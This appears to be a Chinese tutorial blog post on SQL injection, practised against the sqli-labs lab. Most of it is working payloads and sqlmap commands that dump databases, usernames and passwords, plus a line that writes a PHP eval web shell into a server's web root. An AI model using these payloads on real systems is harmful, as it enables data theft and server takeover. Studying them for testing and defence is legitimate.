我与世界相遇,我自与世界相蚀,我自不辱使命,使我与众生相聚。
摘要:总结一些基础的sql语句。
SQL注入原理
它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入分类
sql注入分类主要还是分为数字型注入和字符型注入。至于说的post注入,cookie注入,http头注入,盲注···个人觉得都是可以分开囊括在里面的,只是这些是根据注入字段在的位置进行的命名。
下面就讲一些学到现在我见过的的注入分类吧。
- GET注入
- POST注入
- http头注入
- cookie注入
- 报错的注入
- 布尔盲注
- 基于时间的盲注
注入基本操作 (GET注入为例)
第一步:判断是否存在注入
GET注入一般看源代码就可以看到。形如:$_GET[“ID”] ID就是参数
以id为例:
1) url ? id=1 返回正常
2) url ? id=1’ 出错,页面异常
3) url ? id=1 and 1=1 返回正常
4) url ? id=1 and 1=2 返回错误
以上步骤满足,可能存在SQL注入漏洞
总结:
出现过的SQL语句总结:
(不构造那种双闭合语句,一定记得注释 –+ 或者 #)1)select * from table where id = 'input'
2) select * from table where id = ('input')
3) select * from table where id = ("input")
4) select * from table where id = (input)
第二步: 找到注入点,进行基础的sql语句尝试:
(以下是用GET注入为例的)
第一步:用 order by 来爆字段数,如果没有反应,则在后面加–+或者/*或者#注释掉后面的内容
http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1')) order by 5 --+
第二步:显示错误位,and 1=2 union select 1,2,3,4,5,6,…..(这一步一定记得前面必须输入错误的,才能爆出敏感信息)
http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
爆库:select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1
第三步:显示版本,当前用户,数据库路径,
1) and 1=2 union select 1,2,group_concat(version(),0x3a,user(),0x3a,@@datadir),4
2) and 1=2 union select 1,2,database()
第四步:爆表
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
第五步:爆列
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name= '表名的hex' ('users')--+
第六步: 爆字段
and 1=2 union select 1,2,group_concat(username,0x3a,password) from 表名 (不用单引号)--+
POST注入
解决方式:burpsuite + sqlmap
最简单的比如:前端验证, 直接绕过即可
这里详细讲述一下利用sqlmap解决的办法:
1)抓包,最后一行就是参数值
sqlmap -u "url" --data "参数(就是最后一行)" --risk=3 --level=5 --dbs
2)将抓包得到的post请求复制为txt
注意:在kali里面新建文件夹后使用vim
vim使用方法: vim 1.txt 回车 粘贴内容 esc键:wq 回车
运行sqlmap并使用如下命令( 括号里面可以不写 ):
./sqlmap -r search-1.txt (-p 参数)
或者:
sqlmap -r "1.txt" -p "参数" --dbs
这里参数 -r 是让sqlmap加载我们的post请求1.txt,而-p 应该比较熟悉,指定注入用的参数(如果没写,就会自己检测的)
3)自动搜索表单
sqlmap -u url --forms
HTTP头注入
基本上http头都有可能出现能注入的地方。推荐阅读这个链接
http头注入
cookie注入
cookie注入,这里主要讲解一下利用sqlmap,因为手工的cookie注入,现在我还没遇到,遇到之后在做补充。
基本用法:
这里要进行cookie注入,就要先注册,然后F12 就出现一个cookies 就可以进行cookie注入
相关语句
命令1跑表
sqlmap -u "url" --cookie "参数" --table --level 2
命令2字段
sqlmap -u "URL" --cookie "参数" --columns -T 表段 --level 2
命令3跑密码
sqlmap -u "url" --cookie "参数" --dump -T 表段 -C “字段,字段” --level 2
报错的注入
步骤
1)猜测注入语句,不再赘述.
2)语句测试,当使用 1’union selcet 1,2,3 –+ 返回还是正常页面,因此我们要利用报错信息
3)
1′ and ( select 1 from (select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name)b)–+
含义:取名concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))为name,count()name的个数,这时候会报错,从而爆出database()的值,’~’的用途在于方便识别。
整个语句分析:
整体相当于select 1 from b;
其中b = select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name ,count()name的个数;
name=concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))
4) 进行注入
语句构造:
1′and (select 1 from (select count(),(concat(“~”,(select 报错语句),”~”,floor(rand()2)))name from information_schema.tables group by name)b)
解释语句floor() 是取整数 rand()在0和1之间产生一个随机数
rand(0)*2 将取0到2的随机数 floor(rand()*2)有两条记录就会报错
floor(rand(0)*2) 记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*) 是用来统计结果的,相当于刷新一次结果
group by 在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1 在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
个人常用的基于错误的语句
1./*爆表库*/(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆表库*/
2./*爆当前(select 1 from (select count(*),(concat(“~”,current_user,”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆当前用户名*/
3./*爆所有用户名*/(select 1 from (select count(*),(concat(“~”,(select username from users limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆所有用户名*/
布尔盲注
1)布尔盲注出现的情况
当出现无论输入任何语句页面只有两种情况的时候,即只存在正确页面和错误页面时,而不显示报错信息,这样我们就需要进行布尔盲注。通过猜测目标字符串字符的ascii码来确定字符,但该过程非常繁琐,自动化工具更方便一些。
2)语句构造
1’ and (ascii(substr(database(),1,1)))>100 –+
返回正确页面说明该范围正确,返回错误页面相当于范围不正确,最后用等号确定。
基于时间的盲注
1)基于时间的盲注出现的情况
这种情况下就是所有语句下页面只存在正确的一种,这样就用到了基于时间的盲注,原理是如果正确就执行sleep()函数,使程序挂起,这样我们就可以知道语句正确还是错误了。一般使用sleep(5),使程序挂起5秒钟。
2)语句构造
1′ and (select if (ascii(substr(database(),1,1))>100,sleep(5),NULL)) –+
数据库名称第一个字符的ascii码是否大于100,正确则产生5s的延迟,错误则返回空。通过这样database()可用查询信息替换,以此来爆出表名列名数据等等。
也有benchmark()延时注入,与sleep用法相似。
其他
一句话提权等
直接写一句话(要知道物理路径) ,连接菜刀
and 1=2 union select 1,2,'<?php @eval($_post["mima"]) ?>',4 into outfile 'D:\\xampp\\www\\test.php' --+
记住一定要用两个反斜杠,用一个的话可能会出现转义
中间插入
如果强行要在1,**,3中插入 语句这样构造:
爆表:
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='database' --+
一些语句的解释
1.group_concat的意思是全部列出来
2.version()——MySQL版本
3.concat(str1,str2…)——没有分隔符地连接字符串
4.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
5.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
6.0x3a是”:”的十六进制,在这里把它作为分隔符